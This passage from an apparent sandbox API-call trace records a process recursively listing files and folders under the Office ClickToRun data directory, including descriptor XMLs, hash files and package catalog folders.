lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0270.361] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.361] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.361] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0270.362] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.362] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.362] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0270.363] GetProcessHeap () returned 0xc10000 [0270.363] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.363] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0270.363] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0270.363] GetProcessHeap () returned 0xc10000 [0270.363] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0270.363] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0270.363] GetProcessHeap () returned 0xc10000 [0270.363] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0270.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0270.366] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.366] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0270.366] GetProcessHeap () returned 0xc10000 [0270.366] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0270.369] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.369] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd7b21800, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.369] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0270.369] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.369] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.370] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0270.371] GetProcessHeap () returned 0xc10000 [0270.371] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.371] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0270.371] GetProcessHeap () returned 0xc10000 [0270.371] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0270.374] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.374] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd54fbe00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.374] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0270.374] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.374] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.375] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0270.375] GetProcessHeap () returned 0xc10000 [0270.375] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0270.376] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0270.376] GetProcessHeap () returned 0xc10000 [0270.376] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0270.376] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0270.376] GetProcessHeap () returned 0xc10000 [0270.376] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0270.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0270.377] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.377] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0270.377] GetProcessHeap () returned 0xc10000 [0270.377] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0270.377] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.378] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0270.378] GetProcessHeap () returned 0xc10000 [0270.378] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0270.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0270.749] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.749] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0270.749] GetProcessHeap () returned 0xc10000 [0270.750] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0270.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0270.750] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.750] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1 [0270.750] 